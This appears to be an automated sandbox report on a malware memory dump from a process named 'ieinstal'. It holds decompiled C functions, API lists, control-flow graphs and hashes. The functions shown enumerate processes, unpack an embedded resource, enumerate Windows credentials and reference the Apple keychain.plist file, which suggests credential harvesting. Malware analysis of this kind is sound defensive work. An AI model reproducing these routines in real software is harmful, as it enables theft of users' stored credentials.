                                                                                                                            • GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
                                                                                                                            • _wcsicmp.MSVCRT ref: 0040DEB2
                                                                                                                            • _wcsicmp.MSVCRT ref: 0040DEC5
                                                                                                                            • _wcsicmp.MSVCRT ref: 0040DED8
                                                                                                                            • OpenProcess.KERNEL32(00000040,00000000,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DEEC
                                                                                                                            • GetCurrentProcess.KERNEL32(C0000004,80000000,00000000,00000002,?,000000FF,00000000,00000104), ref: 0040DF32
                                                                                                                            • DuplicateHandle.KERNELBASE(00000104,?,00000000,?,000000FF,00000000,00000104), ref: 0040DF41
                                                                                                                            • memset.MSVCRT ref: 0040DF5F
                                                                                                                            • CloseHandle.KERNEL32(C0000004,?,?,?,?,000000FF,00000000,00000104), ref: 0040DF92
                                                                                                                            • _wcsicmp.MSVCRT ref: 0040DFB2
                                                                                                                            • CloseHandle.KERNEL32(00000104,?,000000FF,00000000,00000104), ref: 0040DFF2
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AddressProc$Handle_wcsicmp$CloseProcess$CurrentFileModulememset$??2@ChangeCreateDuplicateFindInformationNameNotificationOpenQuerySystem
                                                                                                                            • String ID: dllhost.exe$taskhost.exe$taskhostex.exe
                                                                                                                            • API String ID: 594330280-3398334509
                                                                                                                            • Opcode ID: c0cdbd66bb0eb3cac082432fda8d0328b9155cc6ebf5e989b7bcc70ed293d7d6
                                                                                                                            • Instruction ID: 75e999e9478e2cd8c236028a88c267773407d5e0538ee9298daa3020847ac7a6
                                                                                                                            • Opcode Fuzzy Hash: c0cdbd66bb0eb3cac082432fda8d0328b9155cc6ebf5e989b7bcc70ed293d7d6
                                                                                                                            • Instruction Fuzzy Hash: 57818F71D00209AFEB10EF95CC81AAEBBB5FF04345F20407AF915B6291DB399E95CB58
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00413D4C Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 142processlibraryloaderCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 577 413d4c-413da0 call 40b633 CreateToolhelp32Snapshot memset Process32FirstW 580 413f00-413f11 Process32NextW 577->580 581 413da5-413ded OpenProcess 580->581 582 413f17-413f24 CloseHandle 580->582 583 413eb0-413eb5 581->583 584 413df3-413e26 memset call 413f27 581->584 583->580 586 413eb7-413ebd 583->586 592 413e79-413e9d call 413959 call 413ca4 584->592 593 413e28-413e35 584->593 587 413ec8-413eda call 4099f4 586->587 588 413ebf-413ec6 ??3@YAXPAX@Z 586->588 590 413edb-413ee2 587->590 588->590 597 413ee4 590->597 598 413ee7-413efe 590->598 604 413ea2-413eae CloseHandle 592->604 595 413e61-413e68 593->595 596 413e37-413e44 GetModuleHandleW 593->596 595->592 601 413e6a-413e76 595->601 596->595 600 413e46-413e5c GetProcAddress 596->600 597->598 598->580 600->595 601->592 604->583
                                                                                                                            C-Code - Quality: 84%
                                                                                                                            			E00413D4C(void* __eflags, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				char _v16;
				int _v20;
				int _v24;
				int _v28;
				int _v32;
				int _v36;
				int _v40;
				int _v44;
				int _v48;
				intOrPtr _v52;
				int _v576;
				void _v580;
				intOrPtr _v1112;
				long _v1128;
				void _v1132;
				void* _v1136;
				void _v1658;
				int _v1660;
				void* __edi;
				void* __esi;
				void* _t49;
				int _t55;
				long _t56;
				intOrPtr _t58;
				signed int _t61;
				intOrPtr* _t75;
				struct HINSTANCE__* _t77;
				intOrPtr* _t81;
				int _t90;
				void* _t99;
				signed int _t100;
				void* _t103;
				void* _t104;
				void* _t105;

				_t81 = _a4 + 0x28;
				E0040B633(_t81);
				_t90 = 0;
				_t49 = CreateToolhelp32Snapshot(2, 0); // executed
				_v8 = _t49;
				memset( &_v1132, 0, 0x228);
				_t104 = _t103 + 0xc;
				_push( &_v1136);
				_v1136 = 0x22c;
				Process32FirstW(_v8); // executed
				while(1) {
					_t55 = Process32NextW(_v8,  &_v1136); // executed
					if(_t55 == 0) {
						break;
					}
					_t56 = _v1128;
					_v576 = _t90;
					_v48 = _t90;
					_v44 = _t90;
					_v40 = _t90;
					_v36 = _t90;
					_v32 = _t90;
					_v28 = _t90;
					_v24 = _t90;
					_v20 = _t90;
					_v580 = _t56;
					_v52 = _v1112;
					_t99 = OpenProcess(0x410, _t90, _t56);
					_v12 = _t99;
					if(_t99 == _t90) {
						L9:
						_t100 =  *(_t81 + 0xc);
						if(_t100 >= _t90) {
							_t58 =  *((intOrPtr*)(_t81 + 8));
							if(_t100 != 0xffffffff) {
								E004099F4(_t81 + 4, _t100, _t81, 0x234, _t58);
							} else {
								0x4466a0( *_t81);
							}
							_t61 = _t100 + 1;
							if( *(_t81 + 0xc) < _t61) {
								 *(_t81 + 0xc) = _t61;
							}
							memcpy(_t100 * 0x234 +  *_t81,  &_v580, 0x8d << 2);
							_t104 = _t104 + 0xc;
							_t90 = 0;
						}
						continue;
					}
					_v1660 = _t90;
					memset( &_v1658, _t90, 0x208);
					_t105 = _t104 + 0xc;
					E00413F27(_a4, _t99,  &_v1660);
					if(_v1660 != _t90) {
						L8:
						E00413959( &_v576,  &_v1660);
						E00413CA4(_v12,  &_v48,  &_v40,  &_v32,  &_v24); // executed
						_t104 = _t105 + 0x14;
						CloseHandle(_v12);
						_t90 = 0;
						goto L9;
					} else {
						_v16 = 0x104;
						if( *0x45e284 == _t90) {
							_t77 = GetModuleHandleW("kernel32.dll");
							if(_t77 != _t90) {
								 *0x45e284 = 1;
								 *0x45e288 = GetProcAddress(_t77, "QueryFullProcessImageNameW");
							}
						}
						_t75 =  *0x45e288;
						if(_t75 != _t90) {
							 *_t75(_t99, _t90,  &_v1660,  &_v16);
						}
						goto L8;
					}
				}
				return CloseHandle(_v8);
			}







































                                                                                                                            0x00413d5a
                                                                                                                            0x00413d60
                                                                                                                            0x00413d65
                                                                                                                            0x00413d6a
                                                                                                                            0x00413d74
                                                                                                                            0x00413d7f
                                                                                                                            0x00413d84
                                                                                                                            0x00413d8d
                                                                                                                            0x00413d91
                                                                                                                            0x00413d9b
                                                                                                                            0x00413f00
                                                                                                                            0x00413f0a
                                                                                                                            0x00413f11
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00413da5
                                                                                                                            0x00413db8
                                                                                                                            0x00413dbf
                                                                                                                            0x00413dc2
                                                                                                                            0x00413dc5
                                                                                                                            0x00413dc8
                                                                                                                            0x00413dcb
                                                                                                                            0x00413dce
                                                                                                                            0x00413dd1
                                                                                                                            0x00413dd4
                                                                                                                            0x00413dd7
                                                                                                                            0x00413ddd
                                                                                                                            0x00413de6
                                                                                                                            0x00413dea
                                                                                                                            0x00413ded
                                                                                                                            0x00413eb0
                                                                                                                            0x00413eb0
                                                                                                                            0x00413eb5
                                                                                                                            0x00413eba
                                                                                                                            0x00413ebd
                                                                                                                            0x00413ed5
                                                                                                                            0x00413ebf
                                                                                                                            0x00413ec1
                                                                                                                            0x00413ec1
                                                                                                                            0x00413edb
                                                                                                                            0x00413ee2
                                                                                                                            0x00413ee4
                                                                                                                            0x00413ee4
                                                                                                                            0x00413efc
                                                                                                                            0x00413efc
                                                                                                                            0x00413efe
                                                                                                                            0x00413efe
                                                                                                                            0x00000000
                                                                                                                            0x00413eb5
                                                                                                                            0x00413e00
                                                                                                                            0x00413e07
                                                                                                                            0x00413e0c
                                                                                                                            0x00413e1a
                                                                                                                            0x00413e26
                                                                                                                            0x00413e79
                                                                                                                            0x00413e85
                                                                                                                            0x00413e9d
                                                                                                                            0x00413ea2
                                                                                                                            0x00413ea8
                                                                                                                            0x00413eae
                                                                                                                            0x00000000
                                                                                                                            0x00413e28
                                                                                                                            0x00413e2e
                                                                                                                            0x00413e35
                                                                                                                            0x00413e3c
                                                                                                                            0x00413e44
                                                                                                                            0x00413e4c
                                                                                                                            0x00413e5c
                                                                                                                            0x00413e5c
                                                                                                                            0x00413e44
                                                                                                                            0x00413e61
                                                                                                                            0x00413e68
                                                                                                                            0x00413e77
                                                                                                                            0x00413e77
                                                                                                                            0x00000000
                                                                                                                            0x00413e68
                                                                                                                            0x00413e26
                                                                                                                            0x00413f24

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040B633: ??3@YAXPAX@Z.MSVCRT ref: 0040B63A
                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00413D6A
                                                                                                                            • memset.MSVCRT ref: 00413D7F
                                                                                                                            • Process32FirstW.KERNEL32(00000000,?), ref: 00413D9B
                                                                                                                            • OpenProcess.KERNEL32(00000410,00000000,?,?,?,?), ref: 00413DE0
                                                                                                                            • memset.MSVCRT ref: 00413E07
                                                                                                                            • GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 00413E3C
                                                                                                                            • GetProcAddress.KERNEL32(00000000,QueryFullProcessImageNameW), ref: 00413E56
                                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,00000000,?), ref: 00413EA8
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 00413EC1
                                                                                                                            • Process32NextW.KERNEL32(00000000,0000022C), ref: 00413F0A
                                                                                                                            • CloseHandle.KERNEL32(00000000,00000000,0000022C), ref: 00413F1A
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Handle$??3@CloseProcess32memset$AddressCreateFirstModuleNextOpenProcProcessSnapshotToolhelp32
                                                                                                                            • String ID: QueryFullProcessImageNameW$kernel32.dll
                                                                                                                            • API String ID: 912665193-1740548384
                                                                                                                            • Opcode ID: 05c61bdc91198e39abb6d6ee7ce09e8b8423f2cda011bdf5068888dae1005bc1
                                                                                                                            • Instruction ID: a891ebf292d3308fa7e32b9fbc5d589fb36fb38cf1b6cbdc37d41f3709903cdc
                                                                                                                            • Opcode Fuzzy Hash: 05c61bdc91198e39abb6d6ee7ce09e8b8423f2cda011bdf5068888dae1005bc1
                                                                                                                            • Instruction Fuzzy Hash: B4518FB2C00218ABDB10DF5ACC84ADEF7B9AF95305F1041ABE509A3251D7795F84CFA9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040B58D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E0040B58D(void* __ecx) {
				struct HINSTANCE__* _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				void* __edi;
				void* __esi;
				void* _t13;
				struct HINSTANCE__* _t14;
				void* _t22;
				void* _t23;
				int _t25;
				struct HRSRC__* _t26;
				void* _t27;

				_t23 = __ecx;
				_t25 = 0;
				if( *0x45a4dc <= 0) {
					_t14 = GetModuleHandleW(0);
					_v8 = _t14;
					_t13 = FindResourceW(_t14, 0x32, "BIN"); // executed
					_t26 = _t13;
					if(_t26 == 0) {
						L4:
						_t27 = 0;
						__eflags = 0;
					} else {
						_t13 = LoadResource(0, _t26);
						_t22 = _t13;
						if(_t22 == 0) {
							goto L4;
						} else {
							_t25 = SizeofResource(_v8, _t26);
							_t13 = LockResource(_t22);
							_t27 = _t13;
						}
					}
					if(_t27 != 0 && _t25 > 0) {
						_v20 = _v20 & 0x00000000;
						_t5 =  &_v16;
						_v16 = _v16 & 0x00000000;
						_v12 = 0x1388;
						E0040AFCF( &_v20, _t25,  *_t5);
						memcpy(_v20, _t27, _t25);
						E0040B4D3(_t23, _v20, _t25);
						E0040B3C1(_v20); // executed
						return E0040B04B( &_v20);
					}
				}
				return _t13;
			}
















                                                                                                                            0x0040b58d
                                                                                                                            0x0040b596
                                                                                                                            0x0040b59e
                                                                                                                            0x0040b5a5
                                                                                                                            0x0040b5b3
                                                                                                                            0x0040b5b6
                                                                                                                            0x0040b5bc
                                                                                                                            0x0040b5c0
                                                                                                                            0x0040b5e7
                                                                                                                            0x0040b5e7
                                                                                                                            0x0040b5e7
                                                                                                                            0x0040b5c2
                                                                                                                            0x0040b5c4
                                                                                                                            0x0040b5ca
                                                                                                                            0x0040b5ce
                                                                                                                            0x00000000
                                                                                                                            0x0040b5d0
                                                                                                                            0x0040b5db
                                                                                                                            0x0040b5dd
                                                                                                                            0x0040b5e3
                                                                                                                            0x0040b5e3
                                                                                                                            0x0040b5ce
                                                                                                                            0x0040b5eb
                                                                                                                            0x0040b5f1
                                                                                                                            0x0040b5f5
                                                                                                                            0x0040b5f5
                                                                                                                            0x0040b5fc
                                                                                                                            0x0040b603
                                                                                                                            0x0040b60d
                                                                                                                            0x0040b619
                                                                                                                            0x0040b621
                                                                                                                            0x00000000
                                                                                                                            0x0040b629
                                                                                                                            0x0040b5eb
                                                                                                                            0x0040b632

                                                                                                                            APIs
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000,00000000,?,?), ref: 0040B5A5
                                                                                                                            • FindResourceW.KERNELBASE(00000000,00000032,BIN), ref: 0040B5B6
                                                                                                                            • LoadResource.KERNEL32(00000000,00000000), ref: 0040B5C4
                                                                                                                            • SizeofResource.KERNEL32(?,00000000), ref: 0040B5D4
                                                                                                                            • LockResource.KERNEL32(00000000), ref: 0040B5DD
                                                                                                                            • memcpy.MSVCRT ref: 0040B60D
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Resource$FindHandleLoadLockModuleSizeofmemcpy
                                                                                                                            • String ID: BIN
                                                                                                                            • API String ID: 1668488027-1015027815
                                                                                                                            • Opcode ID: 6cadd12acd146c90b5568bc01b4485451bf9b169e768bef5838699a2d497f07b
                                                                                                                            • Instruction ID: e905eb6dc449d61379ecdc49350c1a2f8866219970738eecada31b95dd052af9
                                                                                                                            • Opcode Fuzzy Hash: 6cadd12acd146c90b5568bc01b4485451bf9b169e768bef5838699a2d497f07b
                                                                                                                            • Instruction Fuzzy Hash: 5E11C636C00225BBD7116BE2DC09AAFBA78FF85755F010476F81072292DB794D018BED
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00418758 Relevance: 4.6, APIs: 3, Instructions: 79COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00418680: GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186AC
                                                                                                                              • Part of subcall function 00418680: malloc.MSVCRT ref: 004186B7
                                                                                                                              • Part of subcall function 00418680: ??3@YAXPAX@Z.MSVCRT ref: 004186C7
                                                                                                                              • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                                                            • GetDiskFreeSpaceW.KERNELBASE(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187D2
                                                                                                                            • GetDiskFreeSpaceA.KERNEL32(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187FA
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 00418803
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@DiskFreeSpace$FullNamePathVersionmalloc
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2947809556-0
                                                                                                                            • Opcode ID: e9fa8cdb0503d843af4e6d4979f9032e8967895c6ef67b6505ea85934ab3b907
                                                                                                                            • Instruction ID: 9f5aa8738ec5ca8fa6c7af21032fcab0d24b7c3e7281463e4f88d86f77cdc7da
                                                                                                                            • Opcode Fuzzy Hash: e9fa8cdb0503d843af4e6d4979f9032e8967895c6ef67b6505ea85934ab3b907
                                                                                                                            • Instruction Fuzzy Hash: 2A218776904118AEEB11EBA4CC849EF77BCEF05704F2404AFE551D7181EB784EC58769
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040AE51 Relevance: 3.0, APIs: 2, Instructions: 39fileCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • FindFirstFileW.KERNELBASE(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE67
                                                                                                                            • FindNextFileW.KERNELBASE(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE83
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FileFind$FirstNext
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1690352074-0
                                                                                                                            • Opcode ID: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                                                                                                                            • Instruction ID: bc213c2af839868520f9a45b85e911a0cf9bcc257b6b56acf9ba21b23a9e6198
                                                                                                                            • Opcode Fuzzy Hash: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                                                                                                                            • Instruction Fuzzy Hash: 34F0C877040B005BD761C774D8489C733D89F84320B20063EF56AD32C0EB3899098755
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00418981 Relevance: 3.0, APIs: 2, Instructions: 28COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0041898C
                                                                                                                            • GetSystemInfo.KERNELBASE(004725C0,?,00000000,004439D6,?,00445FAE,?,?,?,?,?,?), ref: 00418995
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: InfoSystemmemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3558857096-0
                                                                                                                            • Opcode ID: d0407614e71e7ae135e22cefa727abc0102cb379ef2ade91b8070469c4ed11d1
                                                                                                                            • Instruction ID: bf8bfd662ffca2911032058da6995c9eeb4a28626cb6ee34ade21af96d3a2c90
                                                                                                                            • Opcode Fuzzy Hash: d0407614e71e7ae135e22cefa727abc0102cb379ef2ade91b8070469c4ed11d1
                                                                                                                            • Instruction Fuzzy Hash: C0E06531A0163097F22077766C067DF25949F41395F04407BB9049A186EBAC4D8546DE
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0044553B Relevance: 44.5, APIs: 23, Strings: 2, Instructions: 758COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 0 44553b-445558 call 44db70 3 445599-4455a2 0->3 4 44555a-44557c call 40c768 call 40bdb0 call 4135f7 0->4 6 4455a8-4455e3 memset call 403988 wcsrchr 3->6 7 4457fb 3->7 40 44558e-445594 call 444b06 4->40 41 44557e-44558c call 4136c0 call 41366b 4->41 15 4455e5 6->15 16 4455e8-4455f9 6->16 10 445800-445809 7->10 13 445856-44585f 10->13 14 44580b-44581e call 40a889 call 403e2d 10->14 18 445861-445874 call 40a889 call 403c9c 13->18 19 4458ac-4458b5 13->19 43 445823-445826 14->43 15->16 21 445672-445683 call 40a889 call 403fbe 16->21 22 4455fb-445601 16->22 51 445879-44587c 18->51 23 44594f-445958 19->23 24 4458bb-44592b memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 19->24 87 445685 21->87 88 4456b2-4456b5 call 40b1ab 21->88 30 445605-445607 22->30 31 445603 22->31 28 4459f2-4459fa 23->28 29 44595e-4459ce memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 23->29 136 44592d-445945 call 40b6ef 24->136 137 44594a 24->137 45 445a00-445aa1 memset * 2 call 414c2e call 40b2cc call 409d1f call 40b2cc call 40ae18 28->45 46 445b29-445b32 28->46 155 4459d0-4459e8 call 40b6ef 29->155 156 4459ed 29->156 30->21 39 445609-44560d 30->39 31->30 39->21 49 44560f-445641 call 4087b3 call 40a889 call 4454bf 39->49 40->3 41->40 52 44584c-445854 call 40b1ab 43->52 53 445828 43->53 182 445b08-445b15 call 40ae51 45->182 54 445c7c-445c85 46->54 55 445b38-445b96 memset * 3 46->55 152 445665-445670 call 40b1ab 49->152 153 445643-445663 call 40a9b5 call 4087b3 49->153 67 4458a2-4458aa call 40b1ab 51->67 68 44587e 51->68 52->13 69 44582e-445847 call 40a9b5 call 4087b3 53->69 63 445d1c-445d25 54->63 64 445c8b-445cf3 memset * 2 call 414c2e call 409d1f call 409b98 54->64 70 445bd4-445c72 call 414c2e call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 55->70 71 445b98-445ba0 55->71 76 445fae-445fb2 63->76 77 445d2b-445d3b 63->77 169 445cf5 64->169 170 445cfc-445d03 64->170 67->19 85 445884-44589d call 40a9b5 call 4087b3 68->85 139 445849 69->139 249 445c77 70->249 71->70 86 445ba2-445bcf call 4099c6 call 445403 call 445389 71->86 93 445d3d-445d65 call 409c52 call 40b2cc _wcsicmp 77->93 94 445d88-445e15 memset * 3 call 414c2e call 40b2cc call 409d1f call 409b98 77->94 158 44589f 85->158 86->54 103 44568b-4456a4 call 40a9b5 call 4087b3 87->103 105 4456ba-4456c4 88->105 163 445d67-445d6c 93->163 164 445d71-445d83 call 445093 93->164 196 445e17 94->196 197 445e1e-445e25 94->197 146 4456a9-4456b0 103->146 118 4457f9 105->118 119 4456ca-4456d3 call 413cfa call 413d4c 105->119 118->7 174 4456d8-4456f7 call 40b2cc call 413fa6 119->174 136->137 137->23 139->52 146->88 146->103 152->105 153->152 155->156 156->28 158->67 176 445fa1-445fa9 call 40b6ef 163->176 164->76 169->170 171 445d05-445d13 170->171 172 445d17 170->172 171->172 172->63 206 4456fd-445796 memset * 4 call 409c70 * 3 174->206 207 4457ea-4457f7 call 413d29 174->207 176->76 200 445b17-445b27 call 40aebe 182->200 201 445aa3-445ab0 call 40add4 182->201 196->197 202 445e27-445e59 call 40b2cc call 409d1f call 409b98 197->202 203 445e6b-445e7e call 445093 197->203 200->46 201->182 220 445ab2-445b03 memset call 40b2cc call 409d1f call 445389 201->220 239 445e62-445e69 202->239 240 445e5b 202->240 219 445f67-445f99 call 40b2cc call 409d1f call 409b98 203->219 206->207 248 445798-4457ca call 40b2cc call 409d1f call 409b98 206->248 207->10 219->76 253 445f9b 219->253 220->182 239->203 245 445e83-445ef5 memset call 40b2cc call 409d1f call 40ae18 239->245 240->239 264 445f4d-445f5a call 40ae51 245->264 248->207 265 4457cc-4457e5 call 4087b3 248->265 249->54 253->176 269 445ef7-445f04 call 40add4 264->269 270 445f5c-445f62 call 40aebe 264->270 265->207 269->264 274 445f06-445f38 call 40b2cc call 409d1f call 409b98 269->274 270->219 274->264 281 445f3a-445f48 call 445093 274->281 281->264
                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 004455C2
                                                                                                                            • wcsrchr.MSVCRT ref: 004455DA
                                                                                                                            • memset.MSVCRT ref: 0044570D
                                                                                                                            • memset.MSVCRT ref: 00445725
                                                                                                                              • Part of subcall function 0040C768: _wcslwr.MSVCRT ref: 0040C817
                                                                                                                              • Part of subcall function 0040C768: wcslen.MSVCRT ref: 0040C82C
                                                                                                                              • Part of subcall function 0040BDB0: CredEnumerateW.ADVAPI32(00000000,00000000,?,?,?,00000000,?), ref: 0040BDE9
                                                                                                                              • Part of subcall function 0040BDB0: wcslen.MSVCRT ref: 0040BE06
                                                                                                                              • Part of subcall function 0040BDB0: _wcsncoll.MSVCRT ref: 0040BE38
                                                                                                                              • Part of subcall function 0040BDB0: memset.MSVCRT ref: 0040BE91
                                                                                                                              • Part of subcall function 0040BDB0: memcpy.MSVCRT ref: 0040BEB2
                                                                                                                              • Part of subcall function 004135F7: GetProcAddress.KERNEL32(?,00000000), ref: 0041362A
                                                                                                                            • memset.MSVCRT ref: 0044573D
                                                                                                                            • memset.MSVCRT ref: 00445755
                                                                                                                            • memset.MSVCRT ref: 004458CB
                                                                                                                            • memset.MSVCRT ref: 004458E3
                                                                                                                            • memset.MSVCRT ref: 0044596E
                                                                                                                            • memset.MSVCRT ref: 00445A10
                                                                                                                            • memset.MSVCRT ref: 00445A28
                                                                                                                            • memset.MSVCRT ref: 00445AC6
                                                                                                                              • Part of subcall function 00445093: GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000104,00445E7E,?,?,?,?,00000104), ref: 004450AA
                                                                                                                              • Part of subcall function 00445093: ??2@YAPAXI@Z.MSVCRT ref: 004450BE
                                                                                                                              • Part of subcall function 00445093: memset.MSVCRT ref: 004450CD
                                                                                                                              • Part of subcall function 00445093: ??3@YAXPAX@Z.MSVCRT ref: 004450F0
                                                                                                                              • Part of subcall function 00445093: CloseHandle.KERNEL32(00000000,?,?,00000104), ref: 004450F7
                                                                                                                            • memset.MSVCRT ref: 00445B52
                                                                                                                            • memset.MSVCRT ref: 00445B6A
                                                                                                                            • memset.MSVCRT ref: 00445C9B
                                                                                                                            • memset.MSVCRT ref: 00445CB3
                                                                                                                            • _wcsicmp.MSVCRT ref: 00445D56
                                                                                                                            • memset.MSVCRT ref: 00445B82
                                                                                                                              • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
                                                                                                                              • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                                                                                                                              • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                                                                                                                              • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                                                                                                                              • Part of subcall function 0040B6EF: CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                                                                                                                              • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040ADF3
                                                                                                                              • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040AE04
                                                                                                                            • memset.MSVCRT ref: 00445986
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                              • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$wcslen$File$wcscmpwcsrchr$??2@??3@AddressAttributesCloseCreateCredEnumerateHandleProcSize_wcsicmp_wcslwr_wcsncollmemcpywcscatwcscpy
                                                                                                                            • String ID: *.*$Apple Computer\Preferences\keychain.plist
                                                                                                                            • API String ID: 2745753283-3798722523
                                                                                                                            • Opcode ID: 60142fc224ce82f33f024026baff3817031bc91c0ca8ee6e0e9eeeaa230f4715
                                                                                                                            • Instruction ID: 0d822d17a5609fa1e1b699618fc72e24fb48bc28b5d87ede4d5502c71e25afa2
                                                                                                                            • Opcode Fuzzy Hash: 60142fc224ce82f33f024026baff3817031bc91c0ca8ee6e0e9eeeaa230f4715
                                                                                                                            • Instruction Fuzzy Hash: ED4278B29005196BEB10E761DD46EDFB37CEF45358F1001ABF508A2193EB385E948B9A
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041276D Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 149COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            C-Code - Quality: 81%
